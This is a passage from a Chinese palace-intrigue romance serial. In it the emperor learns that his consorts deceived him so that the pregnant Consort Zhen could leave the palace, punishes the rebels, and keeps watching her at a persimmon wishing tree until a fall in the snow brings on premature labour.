丁宝林仍在继续:“那天淑妃把后宫妃嫔都请去了永寿宫,让她们轮流给皇上敬酒,就是为了把皇上灌醉,好让皇上没办法去阻止江晚余出宫。 后来皇上被灌醉,歇在了李美人的寝殿,为了保险起见,她们还给皇上用了迷香,就连孙大总管也是默许的。 而这一切,都是江晚余授意徐清盏,再由徐清盏给淑妃出的主意,皇上若不信,可以着人去查,李美人真正的生辰根本就不是那一天。” 她一口气说完,跪在地上等死。 她揭露了江晚余和徐清盏的秘密,又让皇上丢了这么大的人,还捎带着坑了孙良言一把,只怕最后连个全尸都落不着。 左右是不得好死,她不好,别人也别想好,大家一起下地狱。 整个大殿一片死寂,比夜半的坟场还要寂静。 晚余耳边却响起尖锐的蝉鸣。 祁让握在她肩头的手是那样用力,仿佛要将她的骨头捏碎。 她忍不住吞咽口水,连转头看祁让一眼的勇气都没有。 上回李美人因着父兄被抓进东厂的事情去求她的时候,她还在想,李美人和齐家姐姐借着生辰宴灌醉祁让的事只有后宫妃嫔知道,到底是哪个妃嫔敢把这个大家共同保守的秘密给泄露出去的? 万一祁让得知自己曾被所有妃嫔合伙欺骗,会气成什么样? 现在,这个疑惑终于解开,她也将亲眼见证,祁让究竟会气成什么样。 只是她没想到,那个泄露秘密的人会是丁宝林,更没想到,丁宝林会把徐清盏和孙良言也攀扯进去。 她现在脑子一片混乱,完全不知道该怎么办才好。 沈长安,徐清盏和孙良言的脸色也都难看到了极点,只是祁让不发话,他们谁都不敢轻举妄动。 这时,寂静的大殿里突然爆发出一阵狂笑。 中山王一手指着祁让,笑得别提有多解气:“皇上一世英明,居然也有被人当猴耍的时候,本王临死前听到这么一个笑话,死也死的舒心了。” 祁让面沉如水地看着他,眼底怒火如巨浪滔天。 中山王又不怕死地补刀:“本王相信丁宝林的话是真的,徐掌印对贞妃娘娘当真一片痴情。 他助本王登基的条件,就是让本王称帝之后,放他和贞妃娘娘远走高飞。 他还说,他会把皇上的孩子当成自己亲生的孩子看待,哈哈哈哈,哈哈哈哈……” 肆无忌惮的笑声里,徐清盏撩衣摆跪在地上:“皇上,臣那样说是为了取得中山王的信任,请皇上明鉴。” “明鉴什么?”中山王笑道,“皇上若能明鉴,怎么会被一群女人耍得团团转? 贵为帝王,竟也会真心错付,皇上难道就没怀疑过,贞妃肚子里的孩子是不是你的,哈哈哈哈……” 他仰天大笑,猖狂至极。 突然一道寒光闪过,他只觉舌头一凉,下一刻,一块肉和一条猩红的血线从他口中飞出。 他愣了几息,才终于感觉到疼,整个人滚倒在地,捂着没了舌头的嘴大声哀嚎,痛不欲生。 沈长安手里握着滴血的长剑,又将目光转向丁宝林。 丁宝林下意识咬紧了牙关,冷汗如雨而下。 祁让冷眼看着中山王痛苦嚎叫的样子,谁也无法从他脸上猜出他此刻心中所想。 沈长安挨着徐清盏跪下,因有盔甲在身,只能单膝下跪:“皇上,徐清盏不是那样的人,皇上不要听信中山王的挑唆……” “朕要如何,用不着你来指点,莫非你也觉得,朕已经没有明辨是非的能力?”祁让冷冷打断他,语气听不出喜怒,却让人遍体生寒。 “臣不敢。”沈长安说,“臣只是想和皇上说,今天是胜利的日子,皇上千万不要因为一些似是而非的话影响了心情,接下来还有好多事情要做。” 祁让的手仍握在晚余肩头,从鼻腔里发出一声嗤笑:“是啊,今天是个胜利的日子,朕在你们的帮助下,打了一个漂亮的胜仗,你们两人,都是朕的左膀右臂……” 他咬了咬牙,声音陡然变得凌厉:“你们以为,这样就能抵消你们对朕的欺骗吗,这样就能让朕把你们欺君罔上的行为一笔勾销了吗?” 第303章 谁无辜? 沉冷如铁的嗓音,携着雷霆万钧的帝王之威,如同刮骨的寒刃,一字一句,震颤人心,令殿中气氛为之凝固。 几个人都不自觉屏住了呼吸,就连中山王痛苦的哀嚎声都停了下来。 良久的沉寂之后,徐清盏匍匐在地,将所有的责任揽在自己身上:“皇上,丁宝林所说的事,都是臣一个人的主意,贞妃娘娘根本不知情,孙大总管更不知情。 后宫的娘娘小主们也是在不知情的情况下被淑妃叫去的,并非丁宝林所说的合伙欺骗皇上……” “不,不是这样的皇上,他们都知情,他们全都知情。”丁宝林打断他,鱼死网破地喊道,“淑妃死了,不是还有李美人吗,皇上把李美人叫过来一问便知。 还有兰贵妃,贤贵妃,庄妃,她们都知道,就连死去的康嫔都知道,所有人都知道,只有皇上不知道。” 仿佛是故意刺激祁让,她一连声地喊着,只有皇上不知道,只有皇上不知道。 祁让的脸色在她的喊叫声中一点一点变得狠戾,变得肃杀。 晚余奋力挣脱祁让的手,捧着肚子,艰难地在徐清盏另一侧跪了下去:“皇上,这件事和徐清盏无关,是臣妾求齐家姐姐帮忙的。 徐清盏不知情,孙大总管更不知情,李美人位分低,完全是被迫的,其余妃嫔只是去赴宴,并非同谋,请皇上不要听信丁宝林的一面之词。” 祁让微蹙着眉心,寒凉的目光落在整齐跪成一排的三个人身上。 真好。 真是牢不可破的三个人。 纵然在他这个皇帝面前,也还是一副生死与共的架势。 他眯了眯眼,眼里的怒意渐渐被一些难以言喻的复杂情绪遮蔽。 他心里发冷,失望如潮水拍岸,一下一下漫过他的心。 “你是觉得,你揽下了所有的责任,朕就可以看在你怀着孩子的份上既往不咎了吗?” 他的视线落在晚余脸上,声线压得很低,像是怕惊吓到她,可那低沉的嗓音里,却充满了令人窒息的压迫感。 晚余垂着眼睑,不敢和他对视:“臣妾没有这样想,臣妾只是告诉皇上实情,并没有拿孩子逃避责任的意思。 这件事从头到尾都是臣妾的错,臣妾甘愿受任何处罚,只求皇上不要迁怒无辜。” “无辜?谁无辜?你告诉朕,在场的有谁是无辜的?” 祁让冷笑一声,手指缓缓从沈长安,徐清盏和孙良言身上一一指过。 “沈长安无辜吗?” “他和你一无父母之命,二无媒妁之言,明知你父亲送你进宫是为了让你侍奉朕,他却暗中与齐若萱勾结,为你多方谋划,让你装哑巴蒙骗朕。” “他一个臣子,把手伸到了朕的后宫,你敢说,他是无辜的吗?” “徐清盏无辜吗?” “他为什么进宫的,还要朕说明吗,他为了你都做了什么,还要朕说明吗?” “他对朕阳奉阴违,看似忠诚,实则算计,人人都说他是朕的刀,但他却心心念念惦记着朕的女人,难道因为他不能人事,就可以恣意妄为了吗?” “孙良言!” 祁让咬牙叫孙良言的名字,比说到沈长安和徐清盏时,更多了几分狠厉与失望。 “你自己说,你是不是无辜的?” 孙良言跪伏在地上,双眼通红泛着泪光。 “奴才不无辜,奴才该死,奴才当初怕贞妃娘娘留在宫里会影响到皇上,所以才一门心思想助贞妃娘娘出宫。 那天晚上,奴才知道娘娘们是故意灌醉皇上的,却没有加以阻止。 奴才是皇上最信任的人,奴才却辜负了皇上的信任,忘了自己的职责。 奴才罪该万死,请皇上即刻赐死奴才,奴才没脸再服侍皇上左右……” 他说着说着哽咽出声,趴在地上磕头不止。 祁让静静看着他,眼底水汽悄然弥漫。 这是他从小到大,除了母妃之外最信任的人。 他知道,他所有的出发点都是为他好。 可这样就够了吗? 这样就可以解释一切了吗? 如果那天晚上,自己被灌的不是酒呢? 如果李美人给自己用的,不只是迷香呢? 孙良言虽然是个奴才,某种意义上来说,自己是把身家性命都交付给他的。 他却任由自己被一群妃嫔摆弄算计,甚至还亲自参与,他就没想过,这对于一个帝王来说,是怎样的奇耻大辱吗? “还有你。” 祁让最后又将视线转回到晚余身上,语气平静到令人窒息:“在李美人硬闯承乾宫向你求助的时候,朕是不是问过你,那些人为何如此笃定你会帮助李美人? 为什么那时候你不对朕说实话? 如果你那时候说了,朕兴许早就把丁宝林揪出来了,怎么会有今天被她当众揭穿的羞辱? 幸好朕提前让人清了场,否则你知道后果吗? 方才大殿内有多少人你算过吗? 如果这些话被那么多人听了去,你说,朕是为了保全颜面杀了你们几个,还是为了保全你们几个杀了所有人来灭口?” 他的话音落下,殿中重又归于寂静。 所有人都跪着,偌大的殿宇,只有他一个人孑然而立。 他睥睨天下,富有四海,生杀予夺,覆雨翻云,可他却孑然一身,没有人是真正的一心一意为他。 而他手握生杀大权,却连眼前这几个人的生死都定不了。 他缓步走到晚余面前,弯腰抬起她的下巴,“说呀,你怎么不说了,事情走到今天这步田地,都是朕亏欠了你们,你们对朕,当真就没有半点亏欠吗?” 第304章 那样的时刻,以后再不会有了 晚余的下颌被祁让捏住,被迫与他对视,直到此时,才看清他眼下疲倦的暗影,和下巴上泛青的胡茬。 他一袭明黄龙袍昂然走入大殿时,所有人都被他的天子威严震慑,大约不会有人注意到他的疲累。 “这件事确实是臣妾的错,臣妾不该欺骗皇上。” 晚余看着他,诚心诚意地向他认错,“是臣妾让皇上难堪了,臣妾罪不可恕,也不敢奢求皇上的谅解,皇上就算杀了臣妾,臣妾也毫无怨言,但这件事真的和徐清盏没有关系。” 杀了她? 祁让心里冷笑。 他要是能杀了她,何至于等到现在? 中秋节那晚,他已经明明白白和她说过,他就算杀了自己,也不会动她。 他醉了,难道她也醉了吗? 她明知他不会,又何必说这样的话? 他宁愿她在他面前哭一哭,哪怕像寻常女子撒娇一样拉一拉他的手,扯一扯他的衣袖。 可她没有。 她就这样跪着,和他保持着君臣的距离,和那两个人跪在一起,嘴里说着大义凛然的话,为了别人奋不顾身。 他要她的大义做什么? 他要她的坚强做什么? 这么久了,她难道真的不知道他想要的是什么吗? 她什么时候,能为他奋不顾身一回? 就不说奋不顾身了,哪怕为他着想一回,真心实意的,设身处地的为他想一回也是好的。 可是没有。 她心里眼里,就只有那两个人。 祁让深吸一口气,松开了晚余的下巴。 从南崖禅院回来后,他就和她说过,从前种种已成过往,他不会再和她计较。 他想和她重新开始。 可她显然不想。 她只想和他早日结束。 那就早日结束吧! 他退后两步,缓缓开口:“孙良言,传朕的旨意,中山王谋朝篡位,罪不容诛,赐凌迟之刑,以震慑天下,中山王与长平王九族之内男丁处死,女眷流放,伙同二王谋反的官员,一律罢官斩首,全家流放。” 说到这里,视线在丁宝林脸上略作停留:“朕赐你白绫三尺,你可有怨言?” 丁宝林面如死灰,泪如雨下。 自打进宫那天,她苦等了一千多个日夜,终于等到皇上和她说了一句话。 虽然是一句要她性命的话。 “多谢皇上恩典,嫔妾死而无憾。” 祁让点点头,不再多言,转身阔步向殿外走去。 殿中几人跪在原地,怔怔地看着那一袭明黄的身影渐渐远去。 秋风从殿外席卷而来,吹得他衣袂飘摇,广袖翻飞,那背影竟是比秋意还萧瑟几分。 …… 这天之后,晚余再也没见过祁让。 祁让也没有再到过后宫。 承乾宫的侍卫被撤了去,孙良言说皇上解了晚余的禁足,叫她可以随意活动。 又说沈长安和徐清盏都没有受到处罚,中山王的凌迟之刑还是徐清盏亲自操刀的。 晚余猜不透祁让的心思,不知道祁让此举究竟何意。 胡尽忠和她分析,皇上这回大约是彻底对她死心了,放手了。 晚余本该感到欣慰,不知为何,心情却格外沉闷,有种说不上来的怅然,好像自己欠了祁让什么。 夜里睡不着的时候,她不止一次地想着祁让那天问她的话—— 事情走到今天这步田地,都是朕亏欠了你们,你们对朕当真就没有半点亏欠吗? 如果换作从前,她会回答的毫不犹豫,但是现在,她确实没那么肯定了。 他和她,和沈长安徐清盏之间,根本无法用单纯的对错来衡量,站在一个人的立场上是正确的事,站在另一个人的立场,或许就是完全相反的。 世事不是非黑即白,人心也不是。 但不管怎样,祁让不见她也没什么不好,她现在最大的愿望,就是孩子出生之前,不要再有任何波折。 等到孩子平平安安地生下来,她就可以出宫了。 后宫妃嫔和她的想法基本相同,甚至比她还盼着孩子能够平安降生。 毕竟,在大家看来,皇上喊了几年削藩都没行动,这回只因中山王和长平王造了贞妃母子的谣,皇上仅用两个月的时间,就雷厉风行地弄死了他们,灭了他们的九族。 这种情况下,谁要再去算计贞妃,是嫌九族的人丁太兴旺吗? 还有那个让人听到他名字就做噩梦的徐清盏,片人简直片上了瘾,上回片了安平伯三千六百刀,这回技艺又有长进,硬是把中山王片了四千零一十八刀。 有这么个恶魔做贞妃的保护神,谁皮痒了才会拿自己去给他练刀功。 反正贞妃快生了,那么长时间都等了,不在乎再多等两个月。 抱着这样的思想,后宫短时间内呈现出一片和谐友好的景象。 加上之前在寿康宫那几天,大家相互照应,共渡难关,彼此之间也培养出一点感情。 虽然这感情不一定经得起考验,日常相处倒是足够了。 有些人甚至因为晚余被解了禁,还会隔三岔五地去她那里坐一坐。 只要去的时候别落单,几个人约着一起去,也没什么好怕的。 这些人当中,数乌兰雅去得最勤,去了就不走,有时白天待上一整天,晚上还恨不得在承乾宫留宿。 晚余知道,她一个人很无趣,等将来自己走了,她就更寂寞了。 晚余也想趁着这有限的时间,尽可能地多陪伴她,就由着她的性子来,晚上她若不走,就让她和自己睡在一张床上。 乌兰雅对晚余的肚子很是稀罕,最喜欢在胎动的时候,把手贴在上面感受里面的动静,边感受边咧着嘴笑。 晚余看着她的笑脸,有时会不自觉想起祁让摸自己肚子时的神情。 只是那样的时刻,以后再不会有了。 藩王谋逆案结束之后,徐清盏让小文子给晚余带话,说沈长安去了西北巡边。 因为每年冬天都会有游牧族抢掠边民,虽然瓦剌近几年不会再有异动,别的部族还是要严加防范。 晚余虽然舍不得,却也没有过分难过,因为她很快就能出宫了,等到长安再回来的时候,他们就可以在宫外相见了。 祁让只说不许他们成亲,又没说不许他们见面。 她这样一个生育过皇嗣的妃嫔,早已不奢望能和长安在一起,只要能时常看到他,和他和清盏偶尔聚一聚,便足以慰藉往后余生。 她憧憬着那个时刻,感觉剩下的日子都没那么难熬了。 日子就这么平静如水的过去,盛和六年的第一场雪在一个平平常常的夜晚悄然降临。 次日清晨,晚余醒来听说下雪了,忙穿好衣裳出去看。 外面已经下得满目洁白,远远近近的宫殿上都落了厚厚一层,白雪映着红墙琉璃瓦,宛如一幅静谧祥和的画卷。 乌蒙蒙的苍穹之下,雪还在纷纷扬扬飘落,分明是那样热闹,那样铺天盖地,却让人无端觉得寂寥,觉得萧索。 晚余不禁想起去年的初雪。 她被祁让罚跪在乾清宫的殿门外,徐清盏和她说,让她再坚持一下,长安正日夜兼程往回赶,要亲自接她出宫…… 原来已经一年了。 原来才一年吗? 她忽而觉得时间快如白驹,忽而又觉得时间慢如钝刀割绳。 分明已经磨了千百回,却总差最后一缕断不开。 这一回呢? 这一回总该能割断了吧? “娘娘,她们都去向柿子神许愿呢,您要不要去?”云归走过来,搓着手叫她,眼睛亮亮的,嘴里哈着白雾。 柿子神? 晚余恍惚了一下。 过去的五年,她年年都去许愿,柿子神却从不曾眷顾于她。 今年,还有必要去吗? 第305章 她的心从不曾属于紫禁城 大雪纷纷扬扬,乾清宫的殿前广场也落了满地洁白。 今日恰好又逢休沐,祁让不用上朝,起得比平时略晚一些。 小福子说外面下雪了,让他多穿些衣裳,临出门又在石青色团龙常服外面给他加了一件狐裘斗篷。 走出大殿,风雪扑面而来。 雪盈领着几个宫女站在门外,等着进去收拾寝殿,见祁让出来,跪在地上叫了一声皇上。 祁让停下脚步,负手向她看过去。 雪盈说:“奴婢明日就要出宫了,今儿个是最后一天当值,奴婢在这里给皇上磕个头,就算是给皇上辞行了。 奴婢感念皇上这些年的恩典,今后无论身在何处,都会晨昏为皇上祈祷,愿吾皇圣体康健,平安喜乐,朝堂清晏,四海升平,龙裔繁昌,福泽绵长。” 祁让静静看着她,神情有一瞬间的恍惚。 这么快就一年了吗? 这一年,明明这么快,怎么又感觉很漫长? 他想起去年的这个时候,雪盈病了,是晚余负责教新来的宫女打理寝殿。 也就是在那个时候,他才知道,原来晚余也是要出宫的。 在那之前,宫女出宫这种事根本无须他过问,自然也没有人和他说过晚余也会出宫。 或者说,自从江连海把晚余送到他面前,他就已经默认这人是他的,根本没把她算在到了年纪就会出宫的宫女之列。 而这话他没说过,别人也不知道他的心思,就默认晚余和其他宫女一样,到了年纪就能出宫。 晚余自己自然也是这么认为的。 所以,他们之间,一个整天掰着手指数着日子盼出宫,一个直到日子临近才突然惊闻对方要走。 他乱了方寸,不知道该如何补救,才做出了那些反常的举动。 而这些反常的举动又让晚余和后宫众人感觉到了危机,这才铤而走险设局哄骗他。 他深吸一口气,抬头望天。 灰沉沉的天空,雪片密密麻麻交织,如同一张巨大的网从上而下,将世间万物笼罩其中。 便是他身为帝王,也逃不过命运的捉弄。 “起来吧!”他对雪盈说道,语气温和而不失威严,“你在宫中侍奉多年,向来安守本分,恪尽职守,如今要出宫,按例宫中自有赏赐,朕念你忠心勤勉,再额外赏你纹银百两,以作安家之资,愿你出宫后能觅得良人,一生平安顺遂。” 雪盈吃惊地抬头看了他一眼,瞬间泪盈于睫,伏身磕了三个响头,这才谢恩起身:“奴婢叩谢皇上天恩,吾皇万岁万岁万万岁。” 祁让微微颔首,转身要走,想到什么又问了一句:“你与贞妃素来要好,此番归家,可有向她辞行?” 雪盈垂首道:“奴婢正打算收拾完寝殿去见娘娘,下雪天,娘娘怀着身孕,想必起不了太早。” “嗯。”祁让嗯了一声,再没说什么,转身沿着廊庑向西而去。 小福子跟在他身侧,随口说了一句:“往年初雪,贞妃娘娘总是早早起来去拜柿子神,今年怀着身子,怕是不能再去了,那么高的梯子,摔下来可不得了。” 祁让心头一跳,侧首看了他一眼。 小福子抬手给了自己一巴掌:“奴才顺口一说,秃噜嘴了,奴才没有咒娘娘的意思,请皇上恕罪。” “朕知道。”祁让抬手示意他不必惊慌,“眼下闲来无事,陪朕去走走吧!” 小福子愣了下,忙躬身应是:“奴才叫人备辇。” 祁让说:“不用,就咱们两人,人多了不自在。” “是。”小福子答应一声,陪着他向西出了月华门,又沿着夹道向东而去。 孙良言抱着拂尘站在南书房门外,看着两人走远。 他以为皇上用过早饭要来书房处理政务,就提前过来把书房收拾好,没想到皇上居然和小福子往别处去了。 小福子不像他谨慎刻板,也不像胡尽忠那样油滑刁钻,既有眼色,又知进退,年纪轻脑瓜子也好使。 自从上次承天殿闹了那一出之后,皇上使唤小福子的时候越来越多,虽然他还是大总管,掌管着乾清宫大小事务,但皇上已经很少让他贴身伺候。 他自己也明白,皇上这是对他失望透顶了,主仆之间看似一切照旧,却再也不会像从前那样亲密无间。 这是他自找的,怨不得旁人,皇上没有治他的罪,已经是天恩浩荡。 他叹口气,抬头望天。 这雪一年一年的下,看起来没什么区别,其实一切早已物是人非,再也回不到从前了。 雪天路难行,祁让和小福子走到柿子树那里时,已经走得微微出汗。 这棵不知哪年哪月栽下的柿子树,今年又结了满树的果子。 红彤彤的柿子像红灯笼一样挂在枝头,一阵风吹来,枝桠间的雪簌簌落下,几百颗柿子和满树的香囊红绸带一起随风摇摆,如梦似幻。 年年都是如此,年年又都不相同。 祁让仍旧和往年一样,站在隐蔽处静静地等待。 妃嫔和宫人来来往往,那个身影,却始终没有出现。 不知过了多久,人渐渐少了。 小福子说:“皇上,咱们回吧,这么大的雪,贞妃娘娘肯定不会来了,万一皇上着了风寒就不好了。” 祁让不言语,负手在身后,定定地看着那棵柿子树。 树上空无一人,他眼前却浮现一个站在梯子上极目远眺的纤细身影。 所有人都是挂了香囊许了愿就离开的,唯独那个人,每次都要站在上面向宫外眺望许久。 从前他不明白她在看什么,后来才知道,原来她每天都在盼着出宫。 她的心,从不曾属于紫禁城。 而今,她的愿望终于要实现了,自然不用再寄希望于一棵树。 “走吧!” 祁让收回视线转身要走,却被小福子轻轻扯了一下。 第306章 形同陌路 祁让脚步微顿,回头就看到一群人簇拥着一顶软轿向这边走来。 胡尽忠和雪盈跟在轿子旁,等轿子停放妥当之后,两人一左一右打开轿帘,把晚余从里面扶了出来。 祁让的心紧了紧,不自觉屏住呼吸。 他已经很久没有见到她,不知道她现在是什么样子。 然而,不等他看清,便有小太监撑着伞上前挡住了他的视线,伞下隐约可见一袭红色镶白狐毛的斗篷,和一个圆鼓鼓的肚子,脸是一点都看不见的。 “把伞给雪盈吧,你们都在这里等着,本宫去去就来。”晚余温声吩咐。 小太监应是,把伞给了雪盈。 胡尽忠不放心地叮嘱:“娘娘小心些,千万别摔了。” “知道了,就这几步,没事的。”晚余答应着,扶着雪盈的手往柿子树下走去。 柿子神虽然没有保佑她,好歹保佑了雪盈。 她们两个,总算有一个要自由了。 两人在柿子树下站定,晚余说:“这几个月,我一次都没找过你,你会不会觉得我冷漠?” 雪盈刚刚在承乾宫哭过,眼睛还是红的:“娘娘又说傻话,咱们处了几年,别人不了解您,难道我还不了解您吗,我知道您这是怕连累到我。” “是啊,我觉得自己是个运气很差的人,怕我的坏运气会影响到你。”晚余对她笑了笑,“明天你走,我就不去送你了,等你回家之后,再捎信给我报平安吧!” “娘娘。”雪盈看着她平和的笑容,心里一阵阵的难过。 没有人知道,她这平和的笑容背后,究竟藏着多少苦涩。 她真是她见过最坚强最有韧性的姑娘了。 两人双手合十,闭目在心里默默祝祷。 晚余掏出一个香囊给雪盈:“我是爬不上去了,既然你这么幸运,就借你的手帮我挂上去吧,祝我们都心想事成。” “好。”雪盈接过香囊,把伞递给她,自己攀着梯子爬上去,把香囊挂在高高的枝丫上。 “外面是什么样?”晚余打着伞仰头问她。 雪盈伸着脖子向外看,然后认真地告诉她:“外面也在下雪呢!” “哈哈哈哈……”晚余在下面笑出声来。 雪盈也笑,笑得眼泪汪汪。 “晚余。”她从梯子上爬下来,失控地抱住了晚余,“最后一次了,这里没有旁人,就让我失礼一回,再叫一声你的名字吧,你一定要好好的,把孩子平平安安的生下来,等到你出宫的时候,提前捎信给我,我来接你。” 去年她们明明说好了今年由晚余来接她的,而今却是她要在晚余前面离开了。 晚余忍着没哭,放下伞,掏出帕子给她擦眼泪:“傻丫头,说好了要高高兴兴的走,你怎么又哭了?” “我没哭,是风雪迷了眼。”雪盈哽咽道。 话音未落,一阵风吹来,晚余的帕子脱手飞了出去。 “哎呀!”晚余叫了一声,本能地想要去追。 雪盈忙拉住她,叫胡尽忠:“胡大总管,快去帮娘娘捡帕子。” 胡尽忠怕晚余出意外,一直目不转睛地看着她,听到雪盈叫自己去捡帕子,便答应一声去追那被风吹走的帕子。 “娘娘站在那里千万别动,奴才帮您捡回……”他边跑边喊,跑到一棵树下,喊声戛然而止。 “怎么了?”晚余和雪盈都向他看过去。 胡尽忠已经扑通一声跪在那里,“皇,皇上……” 晚余也看到了那个隐在树后的明黄身影。 祁让避无可避,扯下落在肩头的丝帕,从树后走了出来。 宫人们慌里慌张地跪倒在雪地里。 晚余怔怔地看着那一身明黄,有点反应不过来。 “贞妃娘娘安好。”小福子连忙上前给晚余行礼,顺便替祁让解释了一句,“今日官员休沐,皇上不上朝,奴才想着皇上难得歇一天,就劝皇上出来走走,谁知三走两走就走到这里来了,娘娘不要误会,皇上不是来祈福的,也不是来跟踪您的。” “……”晚余隔着风雪看向祁让。 他没撑伞,身上头上都落满了雪,一看就是在一个地方站了很久的样子,而非小福子说的随便走走。 可是,他不在乾清宫待着,大老远跑到这里干什么? 他向来不信鬼神,更不要说一棵柿子树,大雪天的站在这里好奇怪。 晚余福了福身,礼貌而疏离地道了声:“皇上万福金安。” 祁让负手在身后,从鼻子里嗯了一声,视线凉凉将她上下打量一眼,对胡尽忠说道:“这样的天气,还怂恿主子出门,你这个大总管是怎么当的?” 胡尽忠张嘴想要解释,祁让却没给他机会:“行了,朕不想听你废话,速速将人送回宫中,若有闪失,朕唯你是问。” “……奴才遵旨。”胡尽忠只得应了一声,起身和雪盈扶着晚余往轿子那边走去。 晚余见祁让一副不想和她多说的样子,便也没再吭声,在胡尽忠和雪盈的搀扶下,和他错肩而过,坐上轿子离开。 形同陌路,大抵便是如此吧! 祁让静静站着,直到一群人簇拥着轿子从他视线里彻底消失。 背在身后的手才缓缓动了动,将攥在掌心的丝帕塞进了袖子里。 “皇上,那香囊您还要吗?”小福子小心翼翼问道。 祁让冷冷瞥了他一眼。 小福子一溜烟地跑过去,顺着梯子爬上去,把雪盈刚刚挂上去的香囊摘了下来。 这么多香囊,他为了记住是哪个,从雪盈上梯子开始就没敢眨眼,眼都差点看瞎了。 所以他刚才就多余问那一句,皇上不要的话,何苦在这里淋半天的雪? 唉! 难怪师父以前提起皇上和贞妃娘娘就叹气。 现在他都忍不住要叹气了。 他从梯子上爬下来,走回到祁让面前,双手捧着香囊呈到祁让面前。 祁让接过去,轻车熟路地打开,从里面取出一张纸条。 纸条展开,他看着上面的字,突然轻轻倒吸了一口气,冷若寒冰的脸上有了一丝动容。 小福子正等着看皇上冷笑一声撕碎纸条扬进风里的动作,谁知皇上却把纸条放回香囊里,重新递给了他:“挂回去吧!” “啊?”小福子有点反应不过来,挠了挠头说,“今年不撕了吗?” 祁让眉心微蹙。 小福子忙捧着香囊往回走,转身的那一刻,突然看着右侧前方变了脸色。 祁让直觉不妙,偏头顺着小福子的视线看过去,就见晚余正扶着腰静静站在那里看着他。 第307章 这是他自找的 三个人以各自的姿势静默着,好半天都没人开口,只有风卷着雪花呼啸而过。 祁让面上无波无澜,垂在袖中的手却攥了又攥。 晚余看过来的目光是那样平静,平静到令他心慌。 饶是他生了一张不输言官的嘴,此时也找不到一句合适的话语来打破这诡异的沉默。 最后,还是小福子尬笑着问了一句:“娘娘,您怎么又回来了?” 晚余向他看过去,不施粉黛的脸被兜帽一圈的白狐狸毛包围着,显得又小又苍白。 “今年不撕了是什么意思?”她直截了当地问道,哈出的白雾瞬间被风吹散。 小福子被她一句话问没了半条命,张着嘴,不知该如何回答。 说谎话是对贞妃娘娘的欺骗,她还不一定会信,说实话等于揭了皇上的老底,皇上杀了他都有可能。 横竖都不行,左右都不是,搞不好他还要把小命搭进去。 这难题,别说师父没辙,只怕胡大总管都答不上来。 “怎么不说话,往年的都撕了是吗?”晚余等不到回答,又问了一句。 “这……”小福子嗫嚅着,为难地看向祁让,决定把这个难题交给制造难题的人自己解决。 毕竟,他虽然知道皇上每年都撕掉贞妃娘娘的愿望,却不知道每年的纸条上都写了什么。 这样一换算,他答不上来也是情有可原的。 他看向祁让,晚余便也跟着看向祁让。 祁让仍旧面无表情,片刻后,抬手掸了掸肩头的雪,一言不发地迈步离开,经过晚余身旁时,也没有稍作停留。 晚余伸手抓住了他的手:“皇上为什么不回答臣妾?” 祁让冰封般的脸上终于有了一丝裂纹,低头看向她的手。 那只早已被风雪冻透,白得能看到蓝色筋脉的纤纤玉手,因为抓他手抓得太用力,冰凉的触感从他掌心一直渗进了血肉里。 祁让的眉心不自觉蹙起,冷冰冰道:“回你的承乾宫去,朕要做什么,无须向任何人解释。” 晚余扯了扯唇,抓住他的手不肯松开:“皇上是不想解释,还是编不出理由了?” 祁让被她戳穿心思,不禁有些气恼,振臂将她甩开,抬腿就走。 他自认为并没有用多少力气,晚余的身子却趔趄着向后倒去。 “娘娘……”小福子在后面发出一声惊呼,第一时间想要冲过去扶她,谁知脚下打滑,自己先摔了个大马趴。 祁让听到小福子的惊呼,转头就看到晚余的身子重重跌进了雪窝里。 祁让脑子嗡的一声,浑身的血液都在这一刻凝固,急忙转身折返,扑跪在雪地上将她抱起:“晚余,晚余……” 他连声叫她的名字,心慌得几乎要从胸腔里跳出来。 晚余捂着肚子,秀气的眉紧紧皱起,口里发出痛苦的呻吟,手却用力推他:“走开,你走开……” 她当真恨透了他,死也不想再被他碰触。 祁让脸色煞白,心如刀绞,手上丝毫不曾放松,反倒抱她更紧。 “晚余,朕错了,朕不是故意的,你听话,别推开朕,现在不是任性的时候,朕带你回去……” 小福子手脚并用地爬过来,看到晚余痛苦的神情,吓得两腿发软,站都站不起来。 “来人,快来人,胡尽忠,胡尽忠你死哪去了……”他惊慌大喊,已经顾不得失不失礼。 恰好胡尽忠不放心晚余,顶风冒雪地找了回来,被眼前情形惊得骇然色变,冲过去扑跪在晚余跟前:“娘娘,娘娘您怎么了?” 晚余伸手抓住了他的一只手,艰难开口:“我肚子疼,快,送我回宫……传太医……” “哦,好,好,好,娘娘别怕,奴才这就带您回去,您要坚持住,皇上也在呢……” 胡尽忠反握住晚余的手,一面安抚她,一面大声叫小福子,“轿子,轿子,快让他们把轿子抬回来,派人去传太医……” 小福子答应一声,连滚带爬地去喊轿子。 祁让的视线落在晚余和胡尽忠紧紧相握的手上,胸腔仿佛被无数支箭同时射穿,留下一个个血窟窿,北风卷着雪花从那些窟窿里灌进去,将他冻成流血的冰雕。 晚余是有多恨他,才会宁愿握着胡尽忠的手,都不愿握他的手。 这是他自找的。 在她主动握住他的时候,是他甩开了她。 他明明可以和她好好解释的。 他明知道她怀着身孕,哪怕再没面子,也该把她好好送回去的。 可他没有。 他就那样甩开了她…… “皇上,轿子来了,快让娘娘上轿吧!”小福子上气不接下气地叫他。 祁让回过神,让胡尽忠撒手,自己将晚余打横抱了起来。 雪盈也跟着轿子回来了,见晚余大雪天疼出一脑门汗,眼泪刷的一下流了出来:“娘娘这是怎么了,方才还好好的……” 晚余听到她的声音,伸手想去拉她,伸到一半又无力地垂下,人已然昏厥过去。 “晚余!”祁让的心蓦地收紧,大声叫她的名字,她却没有任何反应。 这种情况下,轿子是坐不了了,祁让索性不让她坐轿,亲自抱着她往承乾宫而去。 胡尽忠和小福子跟在后面,两手空空竟也追不上他。 雪盈更是腿软脚软,被远远撇在后面。 到了承乾宫,祁让一脚踹开了宫门,抱着人直冲进去,把院子里扫雪的小太监吓一大跳。 不等下跪,祁让已经一阵风似的从他们面前掠过,抱着晚余进了寝殿。 紫苏正在南窗下的炕上整理晚余这段时间给孩子做的衣裳,被他突然的闯入吓得一激灵。 看到他怀里抱着晚余,立刻放下衣裳迎上去:“皇上,我们娘娘怎么了?” 祁让一言不发地进了内寝,把晚余放在床上,起身想要给她盖被子,发现自己手掌间一片嫣红。 祁让身子一僵,一颗心忽忽悠悠往深渊里沉去。 “快,快来人,传太医,娘娘早产了……”紫苏的惊呼声在他耳边虚无缥缈的响起。 第308章 贞妃必须活着 承乾宫里乱作一团。 宫女太监往来奔走,送热水,送棉帕,送参汤和催产的汤药。 产房里不时传来晚余高一声低一声的喊叫,太医隔着屏风指挥着产婆和医女为她助产。 